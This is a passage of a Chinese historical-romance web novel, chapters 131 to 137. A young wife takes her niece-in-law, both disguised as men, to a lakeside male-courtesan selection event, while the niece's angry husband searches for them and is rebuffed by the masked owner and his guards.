莫氏已经听懂沈清渊这番话背后的威胁,见沈清宇还在言语挑衅,连忙开口呵斥:“宇儿,闭嘴,以后不许再直呼你大嫂的名字,跟你大哥说话也放尊重些。” “娘……” 沈清宇并不服气,莫氏重重拍了茶几:“给我滚出去!” 沈清宇还想再说话,莫芸婉意识到情况不对,把他拉走。 屋里安静下来,莫氏立刻缓和了语气对沈清渊说:“我以后会让宇儿和越儿对他们的大嫂敬重些,府里的下人我也会让贾嬷嬷敲打一番,待会儿我再亲自去向她赔罪,如此你满意了吗?” “她还没睡醒,赔罪就不用了,”沈清渊拒绝,而后又道,“我不是因为你暗中作梗被逼无奈娶的她,我是真的心悦她,我只提醒你这一次,你若还要犯蠢去招惹她,我保证让你两个儿子日后在瀚京再无立足之地。” 沈清渊的语气始终波澜不惊,说出来的话却有着不容置疑的狠绝。 莫氏瞳孔震颤,忍不住大声吼道:“沈清渊,越儿和宇儿也是你的血亲手足,你不能这样做!” “没什么不能的,只要你敢伤她分毫,我必践行今日所言。” 话音落下,沈清渊转身离开。 莫氏的肩膀渐渐垮下去,眼底渗出恨意。 这个逆子,当初她就不该顾及萧家,应该让他下去陪他那个短命的娘! —— 春喜并不知道主院发生的事,只是一觉睡到自然醒,吃过早饭出门的时候感觉府里的下人对她特别尊重起来,隔着老远都会跟她打招呼,莫氏和莫芸婉也都安分下来,没再找她的茬。 春喜乐得自在,天天打着出门看地选庄子的名义约萧清禾出城游玩。 萧清禾是个活得很规矩的人,这些年就算出门踏青游玩,也有许多丫鬟小厮随行,跟着春喜这几日,爬树摘果、下河摸鱼,她把过去近二十年想都不敢想的事全都做了一遍,身上那股子死气沉沉的气息终于消散,整个人肉眼可见地鲜活起来。 这日萧清禾又是跟春喜玩到傍晚才回家,刚进家门,云氏又找她。 萧清禾立刻去了主院,云氏见她精神好了许多,心里松了口气,但见她裙边染了泥污,心里又有些不喜。 春喜毕竟出身不好,她陪禾儿散散心是可以的,但长久来往,肯定会把禾儿带歪。 这般想着,云氏开口:“泽儿明日就要从云山寺回来了,我已吩咐厨房备好饭菜,明晚你们就来主院用饭,我让他当着我和他爹的面跟你下跪道歉。” 萧清禾并未在意卫凌泽的消息,没想到他这么快就回来,她抿了抿唇说:“只要那个孩子能安息就好,我不需要他再跟我道歉了,而且明晚小婶婶说要设宴感谢我,我得去赴约。” 王氏皱眉。 禾儿拒绝接受道歉,甚至宁愿去赴曹春喜的约也不愿意跟泽儿见一面,如此下去小两口之间的裂缝岂不是会越来越大? 第132章 女扮男装 春喜在醉仙楼包了包间设宴。 临近午时,萧清禾就带着雀枝出门去了醉仙楼。 春喜早就到了,并且点好了饭菜。 而且,她今日穿的是男装。 之前几天两人都是在城外疯玩,萧清禾早就习惯春喜会带来不同的惊喜,这会儿见她扮做男子也没有太惊讶,心里反而升起两分期盼。 吃完饭,春喜塞了一套男子衣服给萧清禾:“快换上,一会儿咱们去个好地方。” 萧清禾如今对春喜很是信任,她并不抗拒女扮男装,只是好奇:“小婶婶,我们去哪儿啊?” 雀枝眼看着自家主子被春喜越带越偏,忍不住提醒:“少夫人,今天大少爷就要回府,我们还是早点回去比较好。” 若是寻常游玩哪需要扮成男子啊,雀枝担心春喜是要带自家主子去什么不正经的地方。 春喜耳朵尖,听到卫凌泽今天要回来,当即道:“他回来就回来,卫家那么多下人,少不了他吃喝,难不成还要我大侄女亲自伺候他?” 跟春喜快活了几日,萧清禾越发不想回去面对卫凌泽,她没给雀枝继续劝阻的机会,坚定道:“小婶婶,我跟你去。” 萧清禾很快换上男装,将身上的各种配饰取下来交给雀枝保管,乌发用玉冠高高束起,摇身一变成了位玉面郎君。 “大侄女,你这张脸也太好看了,若你是男儿身,哪个女子见了你能不为你倾倒啊。” 春喜一边感叹,一边帮萧清禾擦去唇脂,把脸涂黑一些。 她们毕竟是女扮男装,还是不要太招摇的好。 换装结束,春喜拉着萧清禾就往外走,雀枝下意识地跟上,却被春喜拦住:“你就在这儿守着,万一卫家有人来找,你就说我突然来月事,弄脏了衣裳,你家少夫人陪我回侯府换衣裳了。” 春喜连借口都找好了,雀枝越发不放心,蹙眉道:“不行,奴婢必须跟着少夫人。” 不等春喜拒绝,萧清禾沉沉开口:“雀枝,听小婶婶的。” 萧清禾平日温温柔柔,但严肃起来也很有威压,雀枝在她身边的时间最长,听出她话里的坚决,只能把满腹的话都憋回去。 春喜在酒楼后门另外安排了一辆马车,两人上车后,马车径直朝城西方向驶去。 一炷香后,马车在一处湖畔停下。 湖心之中有一艘两层高的画舫。 画舫之内传出琴瑟之声,搭配着清凉的湖风,很有诗情画意。 春喜给了碎银让马夫寻个茶肆吃茶等着,然后带着萧清禾踏上一艘小舟。 小舟虽小,却是五脏俱全。 舟内设有矮几,几上放着茶点,一只瓷白细瓶里插着一高一低两朵海棠,青铜鸾鸟香炉冒出袅袅白烟,是很清雅的檀木香气,舟蓬两边垂着竹帘,外面看不到里面的情况,坐在舟里却能透过竹帘缝隙看到外面的景色。 “大侄女你坐稳了,我要划船啦。” 春喜提醒了一声,用船桨撑在岸边将船推离,一番划动后,小舟来到湖中。 舟上只有她们两个人,萧清禾很快放松下来。 她细细看了小舟里的环境,目光便落在春喜身上。 春喜划桨的动作很熟练,就这么一会儿,额头已冒出细密的汗珠,这几日春喜晒黑了一点儿,却不让人觉得难看,反而充满活力和生机。 萧清禾忍不住感叹:“小婶婶会的东西可真多啊。” 前几日春喜带着她上树摘果,下河捉鱼,捉完鱼还就地取材把鱼烤来吃,这会儿还把船划上了。 每一次见面总是有新的惊喜。 春喜以为她感兴趣,立刻说:“这个也不难,要不你也试试?” 小舟容易摇晃,但架不住春喜的热情,萧清禾还是和她交换了位置。 船桨到了手中,萧清禾才发觉这事并没有她想的那么容易。 船桨很沉,在水中阻力更大,萧清禾的身子远不如春喜有力,不过划了几下,她就累得气喘吁吁,掌心也跟着发疼,摊开一看竟是磨破了皮。 她这具身子竟然如此没用吗? 萧清禾不自觉又陷入低落的情绪中,春喜凑过来看了一眼,猛地一拍脑门:“这么柔嫩好看的一双手,我竟然想着让你去划桨,真是暴殄天物啊。” 春喜帮萧清禾吹了吹伤口,从舟里寻了一只灯笼挂在船头的杆子上。 萧清禾看着春喜轻声问:“小婶婶不觉得我实在是太没用了吗?” “不会啊,是我让你去划桨的,但你受了伤并没有怪罪我,也没有喊疼,我要是有你这样高贵的出身,不知道会娇气成什么样呢。” 春喜的话很大程度地安慰了萧清禾,她从低落的情绪中抽离出来,还想再说些什么,舟身一晃,另外一只小舟贴近了她们,而后一道温润轻柔的男声传来:“贵客舟上挂了灯笼,不知有何吩咐?” 这声音实在好听,萧清禾忍不住透过竹帘看了一眼。 隔壁船头,一道靛青身影迎风而立,男子身量颇高,身形却有些瘦弱,衣摆和袖子被湖风吹得在空中摇晃,文文弱弱的书卷气铺染开来。 春喜探出脑袋:“我朋友的手不小心磨破点皮,有药吗?” 话音刚落,男子跨步来到她们的舟上。 他飞快地往舟里扫了一眼,而后恭敬道:“小人岚舒,略通医术,二位贵客若是不嫌弃,能否让小人看看伤势如何?” 岚舒温柔又客气,浑身上下一点儿攻击性都没有,实在叫人难以拒绝。 萧清禾想着自己现在是男子妆扮,又有春喜陪着,便把手伸了出去。 岚舒弯腰进了船舱,因空间太逼仄,他直接屈膝跪下,隔着春喜看了看萧清禾的手,而后拿出一盒药膏递给春喜:“擦伤不是很严重,每日早中晚各在伤处涂抹一次,很快就能好转,放心,不会留疤。” “多谢,”春喜应着接过药膏,看清盒子上的标识,不由惊呼出声,“咦?这是回春堂的药膏啊,挺贵的吧,要另外给钱吗?” 许是没见过春喜这样直白的客人,岚舒弯眸笑了笑:“不用另外给钱,是我们招待不周才让贵客受伤的,理应由我们全权负责。” 他笑起来更好看了,说出来的话还很有风度,春喜竖起大拇指:“你们老板真有气量,怪不得生意如此红火呢。” 岚舒面上笑意更深,他看了眼舟上的灯笼问:“贵客还有什么需要吗?” “暂时没了,你忙别的去吧。” “那岚舒告辞。” 岚舒退出船舱,顺手把挂在船头的灯笼取下来放回舱内,这才乘着小舟离开。 等岚舒离开很远,萧清禾才小声开口:“小婶婶,刚刚那个人不会是做那种买卖的小倌吧?” “是呀,”春喜毫不犹豫地点头,挖了一大坨药膏涂在萧清禾的伤处,“我打听过了,今晚他们要选魁首,可热闹了,我可是花了高价才抢到票的呢。” 萧清禾:“……” 第133章 卫凌泽找来 昭陵的风月场所很多,有供男人玩乐的,自然也有供女人玩乐的。 寡居的公主在家中豢养男宠更是稀松寻常。 但萧清禾只是听过,从未想过有一日,自己会亲自实践。 这对她来说实在是太离经叛道了,哪怕岚舒已经离开,小舟上只剩下她和春喜,她也还是如坐针毡,忍不住开口:“小婶婶,我们还是回去吧,若是让人发现,卫萧两家的颜面就不保了,而且你也会有麻烦的。” 她虽然不爱卫凌泽了,但还是卫家的大少夫人,不能干有损两家颜面的事。 春喜知道她担心什么,淡然道:“放心吧,来这里的人都要脸面,大家都在各自的船上,互不打扰,见过我们的人也不会出去乱说的。” “可是万一……” “没有万一,咱们不承认就好了,”春喜直接打断,而后又道,“我知道你为了顾全大局不会跟卫凌泽和离,可你又原谅不了他,你定然是要让他纳妾的,到时候他儿孙满堂,而你却要兢兢业业地为他操持后宅然后孤独终老,这公平吗?” 萧清禾没了声音,春喜说中了她全部的想法。 她余生确实是想这样度过的。 春喜见这话有效果,继续劝道:“我今日带你来并不是真的要你找小倌做什么,咱们就是找找乐子,欣赏欣赏男色,这样你回去见到那个狗东西,也不至太闹心是不是?” 萧清禾确实不想回去面对卫凌泽,开始动摇,春喜再接再厉:“这票可贵了,一张就要二百辆银子,现在走咱们可就亏了四百两,都够买一间铺子啦,好侄女儿,咱可不能这么败家。” 春喜一脸肉痛,萧清禾到底心软,却还板着脸说:“那就只此一次,下不为例。” “自然只有一次,二百两的票我总不能隔三岔五地买吧。” 春喜点头如捣蒜,萧清禾弯眸笑起。 另一边,岚舒乘舟离开后,低声吩咐船夫:“这两位贵客很合我的脾性,晚点儿给她们留个好点儿的位置。” “是。” 船夫恭敬应声,很快将小舟划到画舫边,岚舒借助绳梯上了画舫,所经之处,所有人都朝他露出恭敬之色。 岚舒唇角含笑,仍是一副温温和和的样子,周身的气息却已变化,全无方才在春喜她们舟上的谦卑姿态。 与此同时,卫凌泽推开醉仙楼包厢。 守在里面的雀枝吓了一跳,连忙福身行礼:“奴婢见过大少爷。” 厢房内的酒菜早就被撤下,桌上除了一桌糕点,再无其他,春喜和萧清禾也不在。 卫凌泽将屋里的情况尽收眼底,冷冰冰地睨着雀枝:“她们人呢?” 这几日他不在家,却对萧清禾的行踪了如指掌,他不在的时候萧清禾天天跟着春喜出门疯玩也就罢了,如今他回家了,萧清禾却还是如此,眼里哪里还有他这个夫君? 卫凌泽亲自来接人,一是示弱,二也是想当面警告春喜,莫要再耍什么花招、挑拨他们的夫妻感情。 但卫凌泽没想到竟然会扑个空。 行舟一直带人暗中盯着,萧清禾和春喜一直待在包厢没出来,但他推开门,人却不在。 两人这是做什么去了? 萧清禾也在脱离掌控还有被戏耍的滋味一起涌上心头,卫凌泽的表情变得阴森可怖,雀枝被看得头皮发麻,磕磕巴巴地把春喜之前想好的借口说出来:“回大少爷,沈少夫人突然来月事弄脏了衣服,少夫人陪她回侯府换衣裳了。” “她们回侯府为什么不光明正大走正门,而且你为什么不跟着一起去?” “这事毕竟是女子隐私,叫人瞧见不好,沈少夫人和少夫人就走的后门,而且沈少夫人也不让奴婢跟着,奴婢只能在这儿等着。” 卫凌泽屈指轻轻叩着桌子,过了会儿起身,带人去了清远侯府。 门房把人迎进府,立刻去向莫氏禀报,莫氏以最快的速度换好衣服来到前厅。 “不知卫公子大驾光临,实在是有失远迎,”莫氏一脸讨好,特意吩咐下人去泡上好的茶,然后就唉声叹气地诉起苦来,“真是家门不幸啊,竟然娶了这么个搅家精回来,上次我生病没去太傅府,不知道会发生那样的事,我那女儿向来胆小怕事,也不敢违逆她嫂嫂……” 莫氏一直惦记着春喜在太傅府让卫凌泽当众下跪道歉的事,如今有机会当面解释,自然要把自己撇干净,免得卫凌泽到时迁怒沈清越。 卫凌泽并不想再提起这件事,压着脾气打断莫氏:“过去的事就不用再提了,我是来接我夫人回家的。” 莫氏狐疑地看向贾嬷嬷,贾嬷嬷立刻道:“门房说,午饭后少夫人带着卫少夫人一起回了侯府。” “她怎么回事,带卫少夫人回府怎么也不知会我一声?” 莫氏很是不满,却没让贾嬷嬷去问心院找人,而是扭头又对卫凌泽说:“卫公子你也看到了,我这个儿媳妇架子可大了,眼里根本没有我这个婆母,自从那个逆子高升,她就更是眼高于顶,谁都不放在眼里了,我真是命苦啊。” 莫氏说起这些便停不下来,卫凌泽却只觉得无比刺耳。 沈清渊升入御史台,如今不止辈分上压他一头,连官位都在他之上了,莫氏拿春喜没有办法,春喜这沈少夫人的日子也一天比一天过得好,就连萧清禾如今都被春喜带得不见踪影。 没有一件事是按照他期望的方向发展的,实在是糟心透了。 莫氏没有察觉到卫凌泽的情绪不对,说着说着就要哭起来,这时,卫凌泽突然拍桌站了起来,阴恻恻地开口:“我说我来接夫人,你是听不懂人话还是要我亲自去找?” 莫氏被拍桌声吓得浑身一抖,好不容易酝酿出来的泪意顿时被吓了回去,她愣了一下,连忙给贾嬷嬷递眼神。 贾嬷嬷飞快去了问心院,又飞快回来:“夫人、卫公子,问心院没人,卫少夫人和少夫人都不在家。” “不在?她们又去哪儿了?” 莫氏失声惊叫,卫凌泽的脸色则是阴沉到了极点。 他有种预感,曹春喜是故意在耍他。 躲在暗处看他像只无头苍蝇一样被逗得团团转很好玩是吗? 第134章 内子略通拳脚,我很放心 “沈大人到任这么多天,终于愿意和大家一起吃饭了,真是难得啊。” 傍晚,正好是下值的时间。 沈清渊跟在一群老臣身后走出来,听到御史大夫打趣的话,唇角微勾:“没办法,内子管得严,不喜我在外饮酒交际,今日也是我央了好久才得夫人准许的。” 御史台有监察百官、监督司法、谏言献策之责,能进这里面的,多是些两袖清风、不近人情的老古板,并不像其他部门喜欢私下交际,听到沈清渊的话,众人皆是会心一笑。 不喜交际好啊。 进了御史台,跟出了家差不多,最好是看破红尘、六亲不认,这样日后写起弹劾的折子才能不偏不倚,保持公正。 而且男子汉大丈夫,多宠宠夫人也是应该的。 气氛正热闹着,卫凌泽突然出现,怒气冲冲地冲到沈清渊面前:“我夫人呢?沈清渊,你有什么不满可以直接冲我来,拐走我夫人算什么本事?” 天色有些暗了,卫凌泽脸上更是一片阴鸷,他这话说得不明不白,很容易让人以为是沈清渊拐走了萧清禾。 御史台的众人皆是肃了脸色,沈清渊并不慌乱,睨着卫凌泽说:“我今日一直在御史台上值,诸位大人皆可为我作证,并不知道卫大人府中出了何事,更何况卫少夫人唤我一声叔叔,她来见我是理所应当的事,无论如何都算不上拐带。” “你是没有,但曹春喜这些日子趁我不在家,日日约我夫人出门游玩,今日更是谎称在醉仙楼设宴,将我夫人的贴身丫鬟留下掩人耳目,又命侯府门房做伪证说她们回了侯府,实则不知将我夫人带去了何处,曹春喜若不是图谋不轨,为何要设下层层障眼法糊弄于我?” 卫凌泽咬牙切齿,直接叫了春喜的大名。 沈清渊的眸子冷了下来,闪电般出手袭向卫凌泽,卫凌泽虽有防备,迅速回挡,但几个来回之后,还是被沈清渊一掌击中肩膀,逼得后退了好几步。 沈清渊收回手,冷冰冰地提醒:“侄婿该唤她一声小婶婶,她的大名不是你可以直呼的。” 当众被教训,卫凌泽颜面扫地,还想再动手,又听到沈清渊说:“内子与禾儿并无过节,甚至还很喜欢这个侄女,没有理由害她,她们回府后,也许又去了别的地方游玩,这是很正常的事,侄婿不过一两个时辰寻不到人就急成这样,难道是做了什么对不起禾儿的事?” 沈清渊的推测很正常,但卫凌泽自己心虚,听到这话,不免联想沈清渊是不是知道了萧清禾小产的事。 这件事不仅是他和萧清禾之间的裂痕,若被萧家知道,更会影响卫萧两家的关系。 卫凌泽的脸色一下子变得很难看,一身气势却收敛下来,他冷着脸说:“我夫人从未有过这么晚不归家的情况,我只是担心她。” “侄婿多虑了,你小婶婶会些拳脚功夫,还胆大心细有智慧,禾儿和她在一起很安全,若是侄婿还不放心,可以去京兆府报官,让官府帮着找人。” 沈清渊顺势把春喜夸了一番,全无担心,只有骄傲。 卫凌泽当然知道春喜不会伤害萧清禾,他只是恼怒自己被春喜的障眼法骗了过去,被春喜牵着鼻子走,所以故意来找沈清渊的茬。 卫萧两家都是有头有脸的世家大族,若是萧清禾不见了一会儿,他就到京兆府报官抓人,宣扬出去别人肯定会觉得他和萧清禾夫妻感情不和,甚至还会有很多关于萧清禾的恶意揣测,这对两家的颜面都没有好处。 卫凌泽没接这话,故意问沈清渊:“听沈大人的意思,沈少夫人仗着会点儿拳脚功夫就经常在外游荡很晚才回家,沈大人早就习以为常所以才不担心是吗?” 卫凌泽这番话里的恶意很深,好像春喜天天不着家,大晚上都在外面晃荡一样。 然而他话音刚落,嘴巴就被什么东西狠狠砸了一下。 上嘴唇瞬间肿起,卫凌泽痛得闷哼一声,立刻警惕地四下张望,怀疑是有人藏在暗处放暗器,御史台的众人也都紧张起来。 他们成天在朝中参这个参那个,被恶意报复也是常有的事。 “诸位大人不用紧张,”沈清渊淡淡开口,变戏法似的从袖袋里抓出一把花生米分给众人,“这是我家夫人亲自做的椒盐花生,让我随身带着垫肚子的,方才卫大人嘴太臭,我怕熏到诸位,只能用这种方法让他闭嘴。” “……” 卫凌泽脸黑得像是锅底灰,御史台的众人却都围到沈清渊面前分花生米。 春喜这花生炒得火候正好,咬在嘴里嘎嘣脆,嚼了几口,香味便在味蕾绽开。 几位大人皆是眼前一亮,这沈少夫人的厨艺真好啊,还很疼夫君,知道御史台公务繁忙,可以随身带着充饥。 沈大人真是小气,有这样的好东西怎么不早点拿出来分享? 众人只分得几颗,很快就吃完了,有些意犹未尽。 沈大人这嘴挺毒的啊,难怪陛下能让他进御史台,日后参那些老狐狸的事就让沈大人上吧,毕竟沈大人年轻,有的是力气和手段,他们就能轻松一些了。 这卫大人也真是的,打又打不过,吵又吵不赢,辈分上还矮了一截,你说你好端端地来自讨苦吃做什么? 咱们御史台的人是那么好惹的吗? 卫凌泽是想挑拨沈清渊和春喜的关系,顺带让沈清渊在御史台这群老古板面前丢脸的,但现在看到这群人被一把花生米收买,对沈清渊露出欣赏之色,卫凌泽气得只想吐血。 御史台这群老匹夫在朝堂上的时候不是跟茅坑里的石头一样又臭又硬吗,怎么对沈清渊这么包容,他们是没吃过花生米吗? 卫凌泽正要发怒,行舟匆匆赶来,凑到他耳边低语:“大少爷,不好了,沈少夫人带着少夫人去参加无忧阁今晚的魁首选拔了!” 卫凌泽瞳孔震颤:“你说什么?” 无忧阁那种腌臜地方,禾儿怎么可能愿意去? 第135章 我来找我夫人 卫凌泽虽然不相信萧清禾会去找小倌给自己戴绿帽子,但春喜离开卫家这大半年,出乎他意料的事干了一件又一件,他还是忍不住带着行舟赶去无忧阁今日选拔魁首的地方。 他到时魁首选拔已经开始了,湖边小径每隔一段距离就点着一盏灯笼,但只能勉强照见脚下的路,并不能照见其他。 夜色下,只有湖心的画舫灯火通明,画舫船头搭了一处高台,参加今晚魁首选拔的都会一一登台表演,这会儿高台上正好是一位穿红色纱衣的男子在尽情舞蹈。 卫凌泽眼力极好,隔着老远都能看到高台上的男子纱衣大敞,露出大片胸膛,男子还跪在地上做出挺腰的动作,勾引之意扑面而来。 真是伤风败俗! 卫凌泽暗骂了句,想到萧清禾有可能被春喜带来看这种表演,怒火中不由得烧,偏偏这时,靠近湖边的湖面亮起一盏灯笼,丝竹声戛然而止,画舫上有人高呼:“有人出价一百两,买这位郎君春宵一度,不知可否有愿意出更高价者?” 随着话音落下,湖面又亮起两盏灯。 卫凌泽这才发现,原来画舫四周围满了小舟,这些小舟上,都是来选魁首的客人,只要看到喜欢的就能出价竞拍,春宵一度。 有的船甚至轻轻晃动着,传出了淫靡之声。 卫凌泽脑子里的弦嗡的一声崩裂,这时他忘了要找春喜算账,只想赶紧找到萧清禾。 他不能接受他的妻子躺在别的男人身下! 今晚来凑热闹的人不少,小舟之间的距离不算太远,卫凌泽等不及行舟找船来,施展轻功就要踏上小舟去挨个找人,然而他刚跃起,一个黑影便凭空出现,硬生生将他踹回岸上。 对方是个高手,卫凌泽重重落地,偏头吐出一口血来。 借着微弱的亮光,他看到一道颀长的身影。 来人穿着一袭黑衣,戴着青面獠牙的面具,像是生长在暗夜中的妖魔鬼怪。 “无忧阁今夜遴选魁首,来的都是贵客,不容任何人打扰。” 面具之下的人开口,声音冷寒,透着杀气。 卫凌泽擦掉唇角的血爬起来,表明身份:“我是卫家大少爷卫凌泽,我无意闹事,我只是想确定我夫人在不在这里。” “这里只有无忧阁的贵客,没有你的夫人。” 面具男无情宣告,并不打算解答卫凌泽的疑问。 卫凌泽又想动手,刚刚发力,就感觉胸口剧痛,像是肋骨被踢断了,与此同时,面具男轻轻抬手,湖边又出现七八个黑影。 这些人身上都有着肃杀之气,若是卫凌泽非要硬闯,他们也不会客气。 卫凌泽没想到自己表明了身份,无忧阁的态度还如此强硬,万一萧清禾真的在里面,他也不能闹太大,不然明日全瀚京的人都会知道他被戴了绿帽子。 权衡一番后,卫凌泽咬着牙退后,吩咐行舟回去再带些人手来把湖边围住,反正魁首选拔结束,船上的人都会回到岸边离开,要是让他看到曹春喜,他一定不会放过她! 卫凌泽没有继续硬闯的意思,面具男施展轻功,踩着水面来到画舫之上。 方才那一轮竞拍结束,红衣男子以两千两的高价被拍走,现在高台上的是一位身着白衣,温柔抚琴的少年郎。 岚舒坐在二楼厢房欣赏着少年郎的表演,见萧夜辰出现有些意外:“你不是嫌这里脏,从不上来吗,今日怎么破例了?” 萧夜辰没有回答这个问题,只冷声命令:“把今晚的宾客名单给我看看。” “没有,”岚舒毫不犹豫地回答,感受到面具之下要吃人的目光,又补充道,“没骗你,真的没有,无忧阁能走到今天,全靠客人隐私保护得好,你不妨说说要找什么人,我看看有没有印象。” 名单没有写在纸上,都在他的脑子里。 片刻的沉默后,萧夜辰开口:“卫家大少夫人今夜可在?” “约莫在吧,有位贵客买了两张票,我方才见过,她们像是单纯来凑热闹的,和其他人不太一样。” 说着话,岚舒打了个响指,很快有侍从进到厢房,岚舒温笑着问:“我让你们特别照顾的那两位客人今夜可有参与竞拍?” “回阁主,自从你离开后,那两位便没再亮灯,不曾参与竞拍。” 岚舒挑眉,又问:“那她们对今晚的表演可还满意?” “这……” 侍从面露难色,似是有些难以开口,岚舒温声道:“不必害怕,尽管如实说。” “那两位贵客交谈的时候并不多,大多数时候都是其中一位在说,那位说第一位上场舞剑的剑奴一看就只是花架子,身板肯定不如她家夫君好,第二位上场吟诗的诗奴身子太单薄了,大抵是不中用的……” 岚舒脑子里自动浮现出春喜侃侃而谈的脸,眸底不觉染上两分笑意。 这么话多还挑剔的客人倒是少见,也不知她口中那么完美的夫君知道她来这里看魁首表演会是什么反应。 岚舒有些幸灾乐祸,萧夜辰却很严肃,他直接下令:“卫凌泽已经来寻人了,让她们赶紧走。” “魁首选拔还没有结束,她们现在离开反倒很引人注目,不如等着散场人多更好隐藏,”岚舒否决了萧夜辰的决定,而后叹息道,“呀,今晚最后一个已经被人拍走了,时间不够了怎么办?” 嘴上说着不知道怎么办,岚舒眼里却满是戏谑:“要不东家上去表演一下,也算是咱们感恩回馈贵客了。” 虽然面具没有表情,但岚舒可以肯定,面具下那张脸肯定皱得很紧,眼神更是想杀了自己。 岚舒不觉得可怕,反而越发想笑。 片刻的僵持后,萧夜辰跃上高台,杀气腾腾的舞起剑来。 岚舒眉梢微扬。 原来这位东家不是硬邦邦的石头,他喜欢的是卫家大少夫人啊。 为了给卫家大少夫人争取时间,连平素最看不起的当众表演都愿意了。 只可惜卫家大少夫人身份尊贵,如今又已是人妻,东家怕是很难得偿所愿呢。 这般想着,岚舒已大步走出厢房,悄无声息地来到春喜和萧清禾的小舟旁。 小舟里,春喜正惊讶地跟萧清禾说话:“刚刚不是说结束了吗,怎么又上去一个,这个戴着面具看不清长相,但身手瞧着很厉害啊。” 春喜挑了一晚上的刺,难得夸赞一句,萧清禾忍不住朝画舫上看了眼。 只一眼,她整个人愣住。 那个戴着面具,穿着一身黑衣舞剑的身影,她一定在哪儿见过! 第136章 面具之下会是怎样一张脸? “湖边有人闹事,一会儿我亲自护送二位贵客离开,还请二位不要惊慌。” 岚舒登上春喜和萧清禾的船,温声说明缘由。 萧清禾立刻紧张起来。 她毕竟是第一次晚归,方才还看了那么多卖弄色相的男人,心虚得不行,一有点儿风吹草动就害怕被揭穿身份。 春喜很是淡定,只道:“我的车夫还在湖边等着,若是我们一直不出现,他怕是会来寻人。” “我已让人通知他到其他地方接应,二位贵客不必担心。” 岚舒考虑很周到,春喜的注意力很快又回到画舫上。 高台之上,那道黑色身影几乎与手里的剑融为一体,每次出手都带着凌厉的杀气,明明应该很吓人的,但因为之前那台子上站的都是以色侍人的男妓,众人便都不觉得害怕,反而有些兴奋起来。 虽然这人戴着面具看不到脸,但身手这么好,身子一定健硕有力,也不知到了床上会是怎样的勇猛过人。 好些小舟上都挂起了灯笼,想要一窥无忧阁这位神秘东家的真容,即便画舫之上的侍从早就说了这轮表演是临时加送的,并不参与竞拍,众人的热情却只增不减。 有人甚至砸下了万两白银。 眼看局面难以收场,岚舒对春喜道:“能不能借灯笼一用,我保证不收二位贵客的钱。” “用吧用吧,”春喜很是大方,又忍不住嘀咕,“你们这位东家既然不接活,干嘛还要出来表演呀,这不是故意让客人眼馋嘛,就不怕得罪了客人影响生意?” 岚舒点亮灯笼,弯眸笑道:“东家今晚高兴,客人高不高兴就不在我们的考虑范围了。” 话音落下,岚舒把灯笼挂到最高的位置。 这表示不管其他人出多高的价,这艘小舟的客人都会比她多出一倍的银子。 两万两只是看一个人的脸,委实是太贵了,而且万一面具之下并不是什么俊美面容,而是一张丑脸呢? 众人顿时歇了心思,不再吵闹。 看台之上,萧夜辰握紧手里的剑,他没想到她会为他亮灯。 “按照规矩,东家该去答谢一下贵客的,若是东家不愿意,小人这就让人……” 侍从的话没说完,萧夜辰就施展轻功到了春喜她们所在的小舟上。 这小舟容纳两个人尚显宽敞,多了两个男人,顿时就逼仄起来,而且萧夜辰手里拿着剑,一身黑衣加上獠牙面具气势相当逼人,就更让人有压迫感了。 萧清禾方才还觉得自己见过他,这会儿却低下头不敢直视。 春喜倒是落落大方,冲萧夜辰抱了抱拳,夸赞道:“东家真是好身手,今晚的魁首选拔也很精彩,祝无忧阁日后生意红火,日进斗金。” 萧夜辰没被春喜的马屁取悦,冷冰冰硬邦邦地开口:“你们既然不是来寻欢作乐的,日后就不要来瞎凑热闹。” 萧夜辰刚说完,肩膀就被岚舒重重拍了一下:“东家怎么能这么跟贵客说话呢,二位贵客才刚为东家解了围,东家这样说话是会吓到人家的。” 船舱里,萧清禾整个人几乎缩成一团躲在春喜身后,恨不得没人能看见她。 萧夜辰心头一滞,低头道:“抱歉,我刚刚不是在凶你们。” 春喜倒是没觉得被凶到,她刚想说没事,岚舒便抢先道:“东家既然知错,不如让二位贵客把面具摘下来瞧瞧。” “诶?可以吗?” 春喜很感兴趣,这二百两的票一眨眼就花没了,若是能看看这位东家长什么样,也算是物超所值了。 萧清禾听到这话也抬头朝萧夜辰看过来。 她很想验证自己的猜测。 萧夜辰握紧拳头,想要拒绝的话在对上萧清禾的目光后堵在喉咙说不出来。 如果是她要看,这面具也不是不能摘。 萧夜辰抿了抿唇,片刻后抬手探向面具,正准备摘下,萧清禾轻轻软软的声音响起:“算了,我们也没有花钱,还是不为难东家了。” 她并不想让人揭穿身份,无忧阁这位东家既然戴着面具,想来也不愿意叫人看到真面目。 己所不欲,勿施于人。 反正以后她也不会再来这里,就当作今晚从未见过吧。 萧夜辰的手僵住。 刚刚他还担心萧清禾看到是他会有什么反应,这会儿听到她说不用,心里又失落起来。 不过这种情绪只出现了片刻,就被萧夜辰压下去,他偏头对岚舒说:“今晚的演出已经全部结束,记得送这两位贵客安全离开。” 说完这话,萧夜辰踏水而去。 画舫上的侍从开始灭灯,方才还热闹不已的湖面很快被夜色吞噬,在如墨的夜色遮掩下,湖面上的小舟有条不紊地向岸边驶去。 卫凌泽一直守在岸边,目光死死地盯着下来的人,他既想找到春喜,好好发泄心中怒火,又怕真的在人群中看到萧清禾。 若是萧清禾真的来找小倌寻欢作乐,他该怎么办? 正想着,湖边突然发出一声娇弱的低呼,像是有人摔倒了,借着昏暗的灯光,卫凌泽看到不远处的岸边有两道相互搀扶的影子。 卫凌泽脸色一沉,立刻冲到两人面前,下一刻,响亮的巴掌声和女子惊慌尖锐的叫喊声响起:“啊,有色狼!” 无忧阁的护卫闻声而动,围过去狠狠地揍起卫凌泽来。 卫凌泽双拳难敌四手,很快落入下风,直到行舟带人赶到,才将卫凌泽解救出来。 不过一盏茶的功夫,今晚来这里的客人全都离开,只剩下一片孤零零的小舟。 “大少爷,你没事吧?” 卫凌泽脸上有好几处淤青,行舟很是担忧,然而话音刚落,就被卫凌泽狠狠踹了一脚:“我不是让你带人把守所有路口吗,谁让你过来的?” 行舟连忙跪下认错:“小人知错,小人刚刚以为大少爷找到人了,所以才赶过来……” 卫凌泽偏头吐出一口血沫:“我听错了,不是她们。” 湖面恢复沉寂,卫凌泽吹着湖风,一时分不清她们是已经趁乱离开了还是这又是春喜故意设下的障眼法。 良久之后,卫凌泽开口:“去萧家看看。” 第137章 夫人看的可还满意? 卫凌泽被请进萧家前厅,萧父亲自陪他喝茶,没多久,萧清禾便出现在他眼前。 好些日子不见,萧清禾比他去云山寺时清瘦了些,但精神明显好了不少,不再像之前那样死气沉沉。 见她完好无损地出现在萧家,卫凌泽心下一松,目光却还紧紧黏在萧清禾身上。 